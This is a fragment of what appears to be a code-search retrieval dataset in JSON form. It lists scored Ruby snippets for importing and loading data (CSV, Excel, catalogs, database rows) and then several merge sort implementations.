h[:par][p.name] = p.id}\n ZipTools::readline_zip(filename,ParameterValue) do |row|\n pv = ParameterValue.new\n pv.parameter_id = h[:par][row[\"parameter_name\"]]\n pv.technology_id = h[:tec][row[\"technology_id\"]]\n pv.commodity_id = h[:com][row[\"commodity_id\"]]\n pv.commodity_set_id = h[:agg][row[\"commodity_set_id\"]]\n pv.flow_id = h[:flo][row[\"flow_id\"]]\n pv.in_flow_id = h[:flo][row[\"in_flow_id\"]]\n pv.out_flow_id = h[:flo][row[\"out_flow_id\"]]\n pv.technology_set_id = h[:mkt][row[\"technology_set_id\"]]\n pv.technology_subset_id = h[:mkt][row[\"technology_subset_id\"]]\n pv.scenario_id = h[:sce][row[\"scenario_id\"]]\n pv.time_slice = row[\"time_slice\"]\n pv.year = row[\"year\"]\n pv.value = row[\"value\"]\n pv.source = row[\"source\"]\n pv.energy_system = self\n pv.save\n end\n\n ZipTools::readline_zip(filename,DemandDriverValue) do |row|\n d = DemandDriverValue.new(demand_driver_id: h[:dmd][row[\"demand_driver_id\"]],\n year: row[\"year\"],\n value: row[\"value\"],\n source: row[\"source\"])\n d.save\n end\n\n ensure\n PaperTrail.enabled = paper_trail_state\n end\n\n end",
"title": ""
},
{
"docid": "e880a894f00f07a1863930c76ef36dd0",
"score": "0.55397165",
"text": "def setinfracatlogvalues\n Infracatalog.import(params[:file].path)\n \n end",
"title": ""
},
{
"docid": "f4d3d071c4b74f86004bd57e341cabff",
"score": "0.55395764",
"text": "def load_categories\n @categories = []\n i=0\n File.readlines(\"databases/\"+@short+\"/cats.lang\").each do |line|\n @categories[i] = line.split(\";\")[0]\n i+=1\n end\n end",
"title": ""
},
{
"docid": "a0df2889e86404fc5ad2cc514d3fa474",
"score": "0.5520365",
"text": "def import\n self.files.collect do |file_name|\n Song.new_by_filename(file_name)\n end\n #Artist.all\n end",
"title": ""
},
{
"docid": "31b1550ccaebd0f3e6333cb205162f90",
"score": "0.5517147",
"text": "def import\n \t@brands = Brands.all()\n end",
"title": ""
},
{
"docid": "f08c301a4c78f7d641a72b2a6de7c301",
"score": "0.55167127",
"text": "def get_entities_to_import(folder, type)\n res = folder.inventory_flat(type => :all)\n objects = []\n\n res.each {|k,v|\n if k.to_s.split('(').first == type\n obj = {}\n v.propSet.each{ |dynprop|\n obj[dynprop.name] = dynprop.val\n }\n objects << OpenStruct.new(obj)\n end\n }\n return objects\n end",
"title": ""
},
{
"docid": "7f1607bb52894a5372009db1f06de247",
"score": "0.5515375",
"text": "def perform_import!\n parse_file\n save_purchases\n end",
"title": ""
},
{
"docid": "f22e6ae323507b2f7e9482fca8697db1",
"score": "0.5512715",
"text": "def load_data\n @complaint_types = ComplaintType.find(:all, :order => \"name\")\n @complaint_statuses = ComplaintStatus.find(:all, :order => \"name\")\n @users = User.find(:all, :order => \"login\")\n @complaint_type = ComplaintType.find_by_code(\"order\")\n end",
"title": ""
},
{
"docid": "b3d00d4724c731eb6790b68b5710d58b",
"score": "0.5495756",
"text": "def parse_catalog(catalog)\n classes = nil\n resources = nil\n results = Hash.new()\n\n if catalog.is_a?(String)\n begin\n JSON.parse!(catalog)\n rescue\n raise InternalError.new(sprintf('unable to parse catalog[%s] as JSON', catalog))\n end\n end\n\n unless catalog.has_key?('data') and catalog['data'].has_key?('classes')\n raise InternalError.new(sprintf('catalog does not contain a classes key[%s]', catalog))\n end\n\n unless catalog.has_key?('data') and catalog['data'].has_key?('resources')\n raise InternalError.new(sprintf('catalog does not contain a resources key[%s]', catalog))\n end\n\n raw_resources = catalog['data']['resources']\n\n raw_resources.each do |r|\n # samples of eacb type of resource is available at\n # https://github.com/chorankates/rouster/issues/20#issuecomment-18635576\n #\n # we can do a lot better here\n type = r['type']\n case type\n when 'Class'\n classes.push(r['title'])\n when 'File'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :file\n resources[name][:directory] = false\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:file] = true\n resources[name][:group] = r['parameters'].has_key?('group') ? r['parameters']['group'] : nil\n resources[name][:mode] = r['parameters'].has_key?('mode') ? r['parameters']['mode'] : nil\n resources[name][:owner] = r['parameters'].has_key?('owner') ? r['parameters']['owner'] : nil\n resources[name][:contains] = r.has_key?('content') ? r['content'] : nil\n\n when 'Group'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :group\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:gid] = r['parameters'].has_key?('gid') ? r['parameters']['gid'] : nil\n\n when 'Package'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :package\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:version] = r['ensure'] =~ /\\d/ ? r['ensure'] : nil\n\n when 'Service'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :service\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:state] = r['ensure']\n\n when 'User'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :user\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:home] = r['parameters'].has_key?('home') ? r['parameters']['home'] : nil\n resources[name][:gid] = r['parameters'].has_key?('gid') ? r['parameters']['gid'] : nil\n resources[name][:group] = r['parameters'].has_key?('groups') ? r['parameters']['groups'] : nil\n resources[name][:shell] = r['parameters'].has_key?('shell') ? r['parameters']['shell'] : nil\n resources[name][:uid] = r['parameters'].has_key?('uid') ? r['parameters']['uid'] : nil\n\n else\n raise NotImplementedError.new(sprintf('parsing support for [%s] is incomplete', type))\n end\n\n end\n\n # remove all nil references\n resources.each_key do |name|\n resources[name].each_pair do |k,v|\n unless v\n resources[name].delete(k)\n end\n end\n end\n\n results[:classes] = classes\n results[:resources] = resources\n\n results\n end",
"title": ""
},
{
"docid": "1866ad05bec570bdecb28f10602aad04",
"score": "0.54924256",
"text": "def import_products(product_file)\n\n # Check if has file\n if product_file.nil?\n return\n end\n\n # Open workbook\n workbook = open_spreadsheet(product_file)\n\n headers = Hash.new\n workbook.row(1).each_with_index { |header, i|\n headers[header.downcase] = i\n }\n\n # Import products is in one transaction\n ActiveRecord::Base.transaction do\n\n ((workbook.first_row + 1)..workbook.last_row).each do |i|\n\n manufacturer_header_name = headers['bg manufacturer'].blank? ? headers['manufacturer'] : headers['bg manufacturer']\n if workbook.row(i)[manufacturer_header_name].nil?\n next\n end\n\n # Init manufacturer\n manufacturer_name = workbook.row(i)[manufacturer_header_name].strip\n manufacturer = Manufacturer.where('lower(name) = ?', manufacturer_name.downcase).first\n if manufacturer.nil?\n manufacturer = Manufacturer.create!(name: manufacturer_name)\n end\n\n # Init category\n category_header_name = headers['bg category'].blank? ? headers['category'] : headers['bg category']\n category_name = workbook.row(i)[category_header_name].strip\n category = Category.where('lower(name) = ?', category_name.downcase).first\n if category.nil?\n category = Category.create!(name: category_name)\n end\n\n # Init subcategory\n subcategory_header_name = headers['bg subcategory'].blank? ? headers['subcategory'] : headers['bg subcategory']\n subcategory_name = workbook.row(i)[subcategory_header_name]\n unless subcategory_name.blank?\n subcategory_name = subcategory_name.strip\n subcategory = Category.where('lower(name) = ?', subcategory_name.downcase).first\n if subcategory.nil?\n subcategory = Category.create!(name: subcategory_name, parent_id: category.id)\n end\n end\n\n # Init manufacturer\n stock_status_header_name = headers['bg stock status'].blank? ? headers['stock status'] : headers['bg stock status']\n stock_status_name = workbook.row(i)[stock_status_header_name]\n unless stock_status_name.nil? || stock_status_name.blank?\n stock_status_name = stock_status_name.strip\n stock_status = StockStatus.where('lower(name) = ?', stock_status_name.downcase).first\n if stock_status.nil?\n stock_status = StockStatus.create!(name: stock_status_name)\n end\n end\n\n # Create or update product\n name = workbook.row(i)[headers['name']].strip\n product = Product.find_or_create_by(name: name)\n product.update_attributes!(\n name: workbook.row(i)[headers['bg name'].blank? ? headers['name'] : headers['bg name']].strip,\n full_name: workbook.row(i)[headers['bg full name'].blank? ? headers['full name'] : headers['bg full name']].strip,\n benefits: workbook.row(i)[headers['bg benefits'].blank? ? headers['benefits'] : headers['bg benefits']],\n description: workbook.row(i)[headers['bg description'].blank? ? headers['description'] : headers['bg description']],\n ingredients: workbook.row(i)[headers['bg ingredients'].blank? ? headers['ingredients'] : headers['bg ingredients']],\n direction: workbook.row(i)[headers['bg direction'].blank? ? headers['direction'] : headers['bg direction']],\n stock_status_id: stock_status.id,\n price: workbook.row(i)[headers['bg price'].blank? ? headers['price'] : headers['bg price']].to_f,\n quantity: workbook.row(i)[headers['bg quantity'].blank? ? headers['quantity'] : headers['bg quantity']].to_i,\n is_best_seller: !workbook.row(i)[headers['best seller']].blank? && workbook.row(i)[headers['best seller']].downcase == 'true',\n questions_answers: workbook.row(i)[headers['bg questions & answers'].blank? ? headers['questions & answers'] : headers['bg questions & answers']],\n manufacturer_id: manufacturer.id,\n categories: subcategory.nil? ? [category] : [subcategory])\n end\n\n end\n end",
"title": ""
},
{
"docid": "8ed661d0bef5c1abb50bb298082dc1b0",
"score": "0.5490317",
"text": "def import_cities\n City.destroy_all\n print_title('importing cities')\n File.open 'db/data/2_sql_insert_city.sql', 'r' do |file|\n while row = file.gets\n row.strip!\n columns = /.+\\(\\d+,'(\\d+)','(.+)','(\\d+)'\\)/.match(row)\n code = columns[1]\n name = columns[2]\n province_code = columns[3]\n city = City.create(code: code, name: name, province_code: province_code)\n print_content \"imported city: #{city.id}, #{city.code}, #{city.name}, #{city.province_code}\"\n end\n end\n print_summary \"total imported cities count: #{City.count}\"\nend",
"title": ""
},
{
"docid": "e6be455297702b90da0a85397d3b1008",
"score": "0.5489507",
"text": "def parse_import_files\n \n self.import_files = {}\n \n File.directory? @import_dir and Dir.foreach(@import_dir) do |file|\n next if (file !~ /.+\\.format$/) #skip if anything other than a format file\n \n csv_file = file.sub('.format', '.csv')\n self.import_files[csv_file] = {}\n file =~ /([^\\.]+)/ # Get filename ahead of extension\n self.import_files[csv_file][:id] = $1\n \n # Read/store format of file, which should be first 2 lines of .format file\n # variables\n # \n file_info = `head -n 2 #{@import_dir}/#{file}`\n file_info =~ /(.+)\\n(.+)/\n format = $1\n self.import_files[csv_file][:order] = $2.gsub(' ','')\n self.import_files[csv_file][:vars] = format.gsub(' ','').split(',')\n \n \n end\n \n self.import_files\n \n end",
"title": ""
},
{
"docid": "23dc182393305db7e5ed7a1577c08af9",
"score": "0.54893935",
"text": "def catalog\n return YAML.load_data!(\"#{ECON_DATA_PATH}/catalogue.yml\")\n end",
"title": ""
},
{
"docid": "3da534443e416c4f209d9765a9058a43",
"score": "0.54743785",
"text": "def load_data\n\t\t\[email protected]_batch File.read('sql/data.sql')\n\t\tend",
"title": ""
},
{
"docid": "3da534443e416c4f209d9765a9058a43",
"score": "0.54743785",
"text": "def load_data\n\t\t\[email protected]_batch File.read('sql/data.sql')\n\t\tend",
"title": ""
},
{
"docid": "bf36fdfe48f6d64281d2e411e851fda1",
"score": "0.54735076",
"text": "def import(*keys)\n raise NotImplementedError # TODO\n end",
"title": ""
},
{
"docid": "8f71d8f03355637c8593299695a342a8",
"score": "0.5468297",
"text": "def mount_to_catalogs\n self.account.catalogs.each do |catalog|\n mount_to_catalog catalog \n end\n end",
"title": ""
},
{
"docid": "2234b65c8335f02d5d5867f8e97a8b62",
"score": "0.5467786",
"text": "def prepare_import\n # FIXME: maybe we can leave this as an iterator?\n # convert to array\n @cards = ConvertVcard.decode_vcards(@file)\n end",
"title": ""
},
{
"docid": "8a6099715ebda2bc81f486168a645585",
"score": "0.5456795",
"text": "def load_data\n end",
"title": ""
},
{
"docid": "0234752fc5ae1d1c0817696c888dac10",
"score": "0.54565346",
"text": "def import(from_file)\n read_from_excel(from_file, 0) do |extractor|\n BankDetail.new(empl_id: extractor.call(\"B\"),\n empl_name: extractor.call(\"C\"),\n account_no: extractor.call(\"D\"))\n end\n end",
"title": ""
},
{
"docid": "477648841b09c117defe7c1862ea884f",
"score": "0.5448945",
"text": "def import_data fields, data, options = {}\n options = {\n :mode => 'init',\n :current_module => '',\n :noupdate => false\n }.merge options.symbolize_keys\n \n call! :import_data, fields, data, *options.values_at(:mode, :current_module, :noupdate, :context, :filename)\n end",
"title": ""
},
{
"docid": "1e4871eb1799355307b4d642d0edc417",
"score": "0.5448202",
"text": "def import(file_path, replicate_path)\n\n accepted_formats = [\".csv\"]\n begin\n\t if accepted_formats.include? File.extname(file_path)\n\t\t array = import_ori(file_path)\n\t\t array_splitted = array.map {|a| a.split(\",\")} \n\t\t array_transpose = array_splitted.transpose\n\t\t return array_transpose\n #logger.debug array_transpose\n\t else \n\t\t #name, tsi = readGpr(file_path)\n #nameTsiArray = [ name, tsi ]\n #return nameTsiArray\n add_replicates(file_path, replicate_path)\n\t end\n\n rescue Exception => e\n e.message\n end\n\n end",
"title": ""
},
{
"docid": "0c01482e74dded7459db23074b0c4f02",
"score": "0.5448143",
"text": "def load_files_from_catalog(name, args={})\n # don't do anything if name is invalid format\n if args.symbolize_keys[:exact_match]\n filename = catalog_filenames(name.to_s.gsub(/\\./, '/'))[0]\n receive_from_file(filename) if filename\n elsif /\\A([A-Za-z_\\*]\\w*\\.?)+\\Z/ === name\n filename = name.to_s.gsub(/(\\.icss\\.yaml)?$/,'').gsub(/\\./, '/').gsub(/\\*$/, '**/*')\n filenames = catalog_filenames(filename)\n filenames.collect{|filename| receive_from_file(filename) } unless filenames.empty?\n end\n # Return object/s from registry after loading files\n # Useful for unexpected file contents / protocols containing many types\n find_in_registry(name, args)\n end",
"title": ""
},
{
"docid": "2aaef0fc654ec344d2aee069b414f185",
"score": "0.5445674",
"text": "def import_root_dataset(builder)\n case metadata['format']\n when 'zfs'\n import_streams(builder, [datasets(builder).first])\n\n when 'tar'\n unpack_rootfs(builder)\n\n else\n fail \"unsupported archive format '#{metadata['format']}'\"\n end\n end",
"title": ""
},
{
"docid": "1936450707041c093f1618c466da4357",
"score": "0.5438737",
"text": "def call\n csv = CSV.parse(Paperclip.io_adapters.for(@import.file).read, headers: true, col_sep: COL_SEPARATOR)\n\n csv.each do |row|\n next if row.to_h.values.all?(&:nil?)\n\n create_product(row)\n end\n end",
"title": ""
},
{
"docid": "e9f10818ce088dae55f6a5fe9d49f19b",
"score": "0.5434933",
"text": "def import!\n begin\n fs = File.size(@path)\n if fs.to_i == 0\n @data_import.set_error_code(1005)\n @data_import.log_error(\"File contains no information, check it locally\" )\n raise \"File contains no information, check it locally\" \n elsif @remaining_quota < (0.6*fs)\n disk_quota_overspend = (File.size(@path) - @remaining_quota).to_int\n @data_import.set_error_code(8001)\n @data_import.log_error(\"#{disk_quota_overspend / 1024}KB more space is required\" )\n raise CartoDB::QuotaExceeded, \"#{disk_quota_overspend / 1024}KB more space is required\" \n end\n # decompress data and update self with results\n decompressor = CartoDB::Import::Decompressor.create(@ext, self.to_import_hash) \n @data_import.log_update('file unzipped') if decompressor\n update_self decompressor.process! if decompressor\n @data_import.reload\n \n # TODO: should this be here...?\n @import_type = @ext \n \n @data_import.log_update(\"file type set to #{@ext}\") \n \n # Preprocess data and update self with results\n # preprocessors are expected to return a hash datastructure\n preproc = CartoDB::Import::Preprocessor.create(@ext, self.to_import_hash)\n @data_import.refresh\n @data_import.log_update('file preprocessed') if preproc\n update_self preproc.process! if preproc\n \n # Load data in\n loader = CartoDB::Import::Loader.create(@ext, self.to_import_hash)\n if !loader\n @data_import.log_update(\"no importer for this type of data, #{@ext}\")\n @data_import.set_error_code(1002)\n raise \"no importer for this type of data\" \n end\n @data_import.log_update(\"file successfully loaded\") if loader\n \n i_res, payload = loader.process! \n @data_import.refresh\n @data_import.log_update(\"file successfully imported\")\n \n update_self i_res if i_res\n \n @data_import.save\n return payload\n rescue => e\n @data_import.refresh #reload incase errors were written\n #@data_import.log_error(e)\n log \"=====================\"\n log e\n log e.backtrace\n log \"=====================\"\n begin # TODO: Do we really mean nil here? What if a table is created?\n @db_connection.drop_table @suggested_name\n rescue # silent try to drop the table \n end\n \n raise e\n ensure\n @db_connection.disconnect\n if @import_from_file.is_a?(File) && File.file?(@import_from_file.path)\n File.unlink(@import_from_file)\n elsif @import_from_file.is_a? Tempfile\n @import_from_file.unlink\n end\n if @data_import\n @data_import.save\n end\n end \n end",
"title": ""
},
{
"docid": "91dc6b2913db8ac3440d25822c338f23",
"score": "0.5430197",
"text": "def import(data)\n data.each do |key, value|\n @container[key] = value\n end\n end",
"title": ""
},
{
"docid": "661674966559a7a0a3f6e30b513b54a6",
"score": "0.54288644",
"text": "def read_catalog_from_file(context)\n file_path = catalog_dump_file_path(context)\n return unless File.exists? file_path\n debug \"Read catalog from: '#{file_path}'\"\n File.read file_path\n end",
"title": ""
},
{
"docid": "b14addce9dec8508431e8ee767f686e1",
"score": "0.5421075",
"text": "def import # rubocop:disable all\n # initialize, we take up to three CSV files, now we have to check each\n cat_file = params[:cat_upload]\n model_file = params[:model_upload]\n item_file = params[:item_upload]\n\n # if the user uploaded a category CSV file\n if cat_file\n # store the overwrite parameter and filepath\n cat_overwrite = params[:cat_overwrite]\n cat_filepath = cat_file.tempfile.path\n\n # process the category CSV file\n processed_cats = csv_import(cat_filepath)\n\n # validate processed categories\n if valid_cat_import?(processed_cats, cat_file)\n # create categories\n @cat_statuses = import_cats(processed_cats, cat_overwrite)\n else\n redirect_back(fallback_location: root_path) && return\n end\n end\n\n # next, import the EquipmentModels\n if model_file\n # store the overwrite parameter and filepath\n model_overwrite = params[:model_overwrite]\n model_filepath = model_file.tempfile.path\n\n # process the equipment model CSV file\n processed_models = csv_import(model_filepath)\n\n # validate the processed equipment models\n if valid_model_import?(processed_models, model_file)\n # create EquipmentModels\n @model_statuses = import_models(processed_models, model_overwrite)\n @equipment_models = @model_statuses[:success]\n else\n redirect_back(fallback_location: root_path) && return\n end\n end\n\n # finally, import EquipmentItems\n if item_file\n # no overwrite parameter since there is no primary key for EquipmentItems\n # store the filepath\n item_filepath = item_file.tempfile.path\n processed_items = csv_import(item_filepath)\n\n if valid_item_import?(processed_items, item_file)\n @item_statuses = import_items(processed_items)\n else\n redirect_back(fallback_location: root_path) && return\n end\n end\n\n # render the import status page\n render 'imported'\n end",
"title": ""
},
{
"docid": "599990a2bfc3672fbbe82068f8244ce0",
"score": "0.54205453",
"text": "def import_accounts\n # account_hashes = CsvTool.new(Account).iterate_csv\n account_hashes = CsvTool.new(Account).iterate_csv_w_error_report\n account_hashes.each { |hash| parse_accounts(hash) }\n end",
"title": ""
},
{
"docid": "b6e5ee3f5f75a4cb5d6664696f2214b2",
"score": "0.5420363",
"text": "def import_data\n pending_import = Import.find_by_status(Import::STATUS[:pending])\n return if pending_import.blank?\n\n Thread.new{ \n directory_name = pending_import.directory_name\n locations_in_csv = read_metadata_csv(directory_name)\n read_other_csvs(directory_name)\n import_data\n } \n end",
"title": ""
},
{
"docid": "b44f3cca8393cfbe79d968bca10d57a7",
"score": "0.54170734",
"text": "def import_demo_products\n importee = Florist.where(company_id: params[\"import\"]).first\n if params[\"import_products\"]\n import_products = Product.where(florist_id: session[\"found_florist_id\"]).where(\"name ilike ?\", \"%demo%\")\n for each in import_products\n x = Product.new\n x.product_type= each.product_type\n x.name = each.name\n x.items_per_bunch = each.items_per_bunch\n x.cost_per_bunch = each.cost_per_bunch\n x.cost_for_one = each.cost_for_one\n x.markup = each.markup\n x.status = each.status\n if each.display_name != nil\n x.display_name = each.display_name\n end\n x.updated_at = Time.now\n x.updated_by = Employee.where(id: session[\"found_user_id\"]).first.name\n x.florist_id = importee.id\n x.save!\n end\n \n imported_products = Product.where(florist_id: importee.id).where(\"name ilike ?\", \"%demo%\")\n for each in imported_products\n item = Product.where(florist_id: session[\"found_florist_id\"]).where(\"name ilike ?\", \"#{each.name}\").first\n if item.image != nil\n import_image = Image.new\n import_image.data = item.image.data\n import_image.content_type = item.image.content_type\n import_image.extens = item.image.extens\n import_image.image_type = \"product\"\n import_image.product_id = each.id\n import_image.save!\n end\n end\n redirect_to \"/florists\" and return\n else\n redirect_to \"/login\" and return\n end \n end",
"title": ""
},
{
"docid": "fc708a97cd7c50ad800a6225afaa4e38",
"score": "0.54136926",
"text": "def import(filename)\n tree = JSON.load @storage.show(filename)\n\n tree.each do |key,value|\n clazz = key.constantize\n\n value.each do |itm|\n item_params = {}\n itm.each do |itm_key,itm_value|\n\n next if itm_value.nil?\n\n # handle inheritance\n if (itm_key.to_s == \"clazz\")\n clazz = itm_value.constantize\n next\n end\n\n # handle url paths separatley\n if itm_key.to_s.end_with?(\"_url\")\n if File.exist?(itm_value)\n orig_key = itm_key.to_s[0..-5].to_sym\n item_params[orig_key] = File.open(itm_value)\n else # remote\n item_params[\"remote_#{itm_key}\"] = itm_value\n end\n else\n item_params[itm_key] = itm_value\n end\n end\n clazz.new(item_params).save(validate: false)\n end\n end\n end",
"title": ""
},
{
"docid": "2a921a10e66a94c822b8c94f68005561",
"score": "0.54134256",
"text": "def load_file full_name\n file = CSV.open( full_name , { :col_sep => \",\"} ) \n @header = file.shift\n @data = file.readlines\n #puts @header\n @header.each do |col|\n puts \"col=#{col}= mapped to =#{@mapping[col]}=\"\n end\n index = 0\n while index < @data.length\n row = @data[index]\n #puts \"row is \" + row.join(\"--\")\n @mapping.each do |key,val|\n #puts \"Row:#{val} at #{@mapping.index(val)} is --#{@header.index(@mapping.index(val))}--value---\"\n #puts \"--#{at_in(val,row)}--\" if @header.index(@mapping.index(val))\n end\n prod = get_product(row)\n set_attributes_and_image( prod , row )\n set_destroy(prod,row)\n \n #puts \"saving -\" + prod.description + \"- at \" + at_in(:price,row) #if at_in(:price,row) == \"0\"\n prod.save!\n throw \"No master for #{prod.name}\" if prod.master == nil \n #@audit_log.error \"No master for #{prod.name}\" if prod.master == nil \n \n puts \"Saved: \" + prod.sku + \" - \" + prod.name # + \" - at \" + at_in(:price,row) #if at_in(:price,row) == \"0\"\n #@audit_log.info \"Saved product: #{prod.sku}\"\n #Check for variants\n \n\t index = slurp_variants(prod , index + 1) #read variants if there are, returning the last read line\n\t \n end\n\n end",
"title": ""
},
{
"docid": "7941d796cc55fc82af59abb148804f0c",
"score": "0.54124385",
"text": "def load_data_infile\n \"-- Rip through the oracle output data and insert into mysql\n load data local infile '#{self.client_class.otm_get_file_name_for(:oracle_output)}' \n replace\n into table #{self.client_class.otm_target_table} \n fields terminated by '\\\\t'\n lines terminated by '\\\\n'\n \"\n end",
"title": ""
},
{
"docid": "7941d796cc55fc82af59abb148804f0c",
"score": "0.54124385",
"text": "def load_data_infile\n \"-- Rip through the oracle output data and insert into mysql\n load data local infile '#{self.client_class.otm_get_file_name_for(:oracle_output)}' \n replace\n into table #{self.client_class.otm_target_table} \n fields terminated by '\\\\t'\n lines terminated by '\\\\n'\n \"\n end",
"title": ""
},
{
"docid": "fe521625b3768795a997b47782e0b77a",
"score": "0.54120916",
"text": "def import_from_excel\n ::Product.truncate_table\n @table.default_sheet = @table.sheets.first\n products = []\n i=0\n 1.upto(@table.last_row) do |line|\n i+=1\n article = @table.cell(line, 'A')\n type = @table.cell(line, 'B')\n next if article.blank? || type.blank?\n type = 'серьги' if type.include? 'ерьги'\n price = @table.cell(line, 'D')\n count = @table.cell(line, 'E')\n time = Time.zone.now.to_s.sub(' UTC', '')\n cat_id =\n ::Category.find_or_create_by(title: type).try(:id)\n products.push(\"('#{article}', '#{price.to_f.abs}', '#{cat_id}', '#{count.to_i}', '#{time}', '#{time}')\")\n if i == 1000\n ::Product.append_new(products)\n products = []\n end\n end\n ::Product.append_new(products)\n end",
"title": ""
},
{
"docid": "dcb9c1cf4f953f11a489851f7199b364",
"score": "0.5408581",
"text": "def new_importer_with_connector\n provider_name = get_provider_name_from_id(service_item_id)\n CartoDB::Importer2::ConnectorRunner.check_availability!(current_user, provider_name)\n\n database_options = pg_options\n\n self.host = database_options[:host]\n\n connector = CartoDB::Importer2::ConnectorRunner.new(\n service_item_id,\n user: current_user,\n pg: database_options,\n log: log,\n collision_strategy: collision_strategy\n )\n\n registrar = CartoDB::TableRegistrar.new(current_user, ::Table)\n quota_checker = CartoDB::QuotaChecker.new(current_user)\n database = current_user.in_database\n destination_schema = current_user.database_schema\n public_user_roles = current_user.db_service.public_user_roles\n overviews_creator = CartoDB::Importer2::Overviews.new(connector, current_user)\n importer = CartoDB::Connector::Importer.new(\n runner: connector,\n table_registrar: registrar,\n quota_checker: quota_checker,\n database: database,\n data_import_id: id,\n overviews_creator: overviews_creator,\n destination_schema: destination_schema,\n public_user_roles: public_user_roles\n )\n [importer, connector, nil, nil]\n end",
"title": ""
}
] |
be56453d5ca4e56ff2ed61d350629e63
|
The kernel recursivly implements merge sort arr is the array to sort helper is a helper array to copy tmp work to low is the lowest index in the subarray, inclusive high is the highest index in the subarray, inclusive ordered is the ordering proc
|
[
{
"docid": "c9bfd999b4327c88e73452987acdf7d2",
"score": "0.7732044",
"text": "def merge_kernel(arr, helper, low, high, ordered)\n if low < high\n mid = (low + high)/2\n merge_kernel(arr, helper, low, mid, ordered)\n merge_kernel(arr, helper, mid+1, high, ordered)\n merge(arr, helper, low, mid, high, ordered)\n end\nend",
"title": ""
}
] |
[
{
"docid": "b8f9c29f07674e09d2003e0545ecc53d",
"score": "0.86278474",
"text": "def merge_sort (in_arr, ordered)\n arr = Array.new(in_arr)\n helper = Array.new(arr.length)\n merge_kernel(arr, helper, 0, arr.length-1, ordered)\n return arr\nend",
"title": ""
},
{
"docid": "65a0cf28475f4ce1bc9120a3373c79e8",
"score": "0.7628883",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n mid = arr.length / 2\n sorted_left = merge_sort(arr.take(mid))\n sorted_right = merge_sort(arr.drop(mid))\n merge(sorted_left, sorted_right)\n end",
"title": ""
},
{
"docid": "08f6894b092061e534d46919ae28c5de",
"score": "0.7594423",
"text": "def merge_sort arr\n\n return arr if arr.length == 1\n\n # sort left half of arr\n left_arr = arr[0..((arr.length / 2 ) - 1)]\n left_sorted = merge_sort(left_arr)\n \n # sort right half of arr\n right_arr = arr[(arr.length / 2)..-1]\n right_sorted = merge_sort(right_arr)\n \n # merge\n merge_array(left_sorted, right_sorted)\nend",
"title": ""
},
{
"docid": "35f9589263adcba0cc5a6f31c004b34b",
"score": "0.7593037",
"text": "def merge_sort(array, &prc)\n return array if array.length <= 1\n\n mid = array.length / 2\n left_sorted = merge_sort(array.take(mid), &prc)\n right_sorted = merge_sort(array.drop(mid), &prc)\n\n merge(left_sorted, right_sorted, &prc)\n\nend",
"title": ""
},
{
"docid": "e62588223df3adfb33e592a3939a24b3",
"score": "0.7587477",
"text": "def merge_sort(arr, low = 0, hi = arr.length-1)\n if low != hi\n mid = (low+hi)/2\n merge_sort(arr, low, mid)\n merge_sort(arr, mid+1, hi)\n merge(arr, low, mid, mid+1, hi)\n end\nend",
"title": ""
},
{
"docid": "04209d5897e4eee40d6534b926f78f70",
"score": "0.75870925",
"text": "def merge_sort(arr) # sorts ascending\n return arr if arr.size <=1\n mid_idx = arr.size/2\n left = arr.take(mid_idx)\n right = arr.drop(mid_idx)\n merge(merge_sort(left), merge_sort(right))\nend",
"title": ""
},
{
"docid": "e3d59892d9dcfd74b90e42e61f9b5297",
"score": "0.7571419",
"text": "def merge_sort(arr)\n return arr if arr[1].nil?\n middle = (arr.length - 1) / 2\n # debugger\n merge_helper(merge_sort(arr[0..middle]), merge_sort(arr[middle + 1..-1]))\nend",
"title": ""
},
{
"docid": "d4a2e651247342c650de2ddf06957830",
"score": "0.7560133",
"text": "def merge_sort(arr)\n #base cases\n return arr if arr.empty?\n return arr if arr.length == 1\n\n #inductive step\n mid = arr.length / 2\n merge(merge_sort(arr[0...mid]), merge_sort(arr[mid..-1]))\nend",
"title": ""
},
{
"docid": "34f4760a4f9af535e4c45dc74db02fc6",
"score": "0.75582445",
"text": "def merge_sort(arr)\n def merge(left_sorted, right_sorted)\n result = []\n l = 0\n r = 0\n\n loop do\n break if r >= right_sorted.length && l >= left_sorted.length\n\n if r >= right_sorted.length || ((l < left_sorted.length) && (left_sorted[l] < right_sorted[r]))\n result << left_sorted[l]\n l += 1\n else\n result << right_sorted[r]\n r += 1\n end\n end\n\n return result\n end\n\n def mergesort_iter(array_sliced)\n return array_sliced if array_sliced.length <= 1\n\n mid = array_sliced.length/2 - 1\n\n left_sorted = mergesort_iter(array_sliced[0..mid])\n right_sorted = mergesort_iter(array_sliced[mid+1..-1])\n\n return merge(left_sorted, right_sorted)\n end\n\n mergesort_iter(arr)\nend",
"title": ""
},
{
"docid": "60a6985802e37d30d94849fec0f43a2c",
"score": "0.7554272",
"text": "def merge_sort(array, &prc)\nend",
"title": ""
},
{
"docid": "b7b728ad7f33aa70623b2f71eaaad3a4",
"score": "0.7552101",
"text": "def merge_sort_bubble(array, start_index, end_index)\n\n if start_index == end_index\n return\n end\n partition_point = ((start_index + end_index ) / 2).floor #ensure the left subarry is smaller\n\n #sort left sub-array\n merge_sort_bubble( array, start_index, partition_point )\n merge_sort_bubble( array, partition_point + 1 , end_index)\n \n #merge step \n right_array_cur = end_index \n\n while right_array_cur >= ( partition_point + 1)\n if array[partition_point] < array[right_array_cur]\n #do nothing\n else\n #swap the larger element up\n tmp = array[partition_point] \n array[partition_point] = array[right_array_cur]\n array[right_array_cur] = tmp\n \n #element swap in the right sub array , need to matain it's local sort order\n maintain_sort(array, start_index, partition_point)\n end\n \n right_array_cur -= 1\n end\n\n\nend",
"title": ""
},
{
"docid": "3a1fbbff1314bf829ef844d735b6cd8c",
"score": "0.752894",
"text": "def merge_sort (array, &prc)\n return array if array.length <= 1\n\n mid_idx = array.length / 2\n merge(\n merge_sort(array.take(mid_idx), &prc),\n merge_sort(array.drop(mid_idx), &prc),\n &prc\n )\nend",
"title": ""
},
{
"docid": "d125024422909f492ac781635a400475",
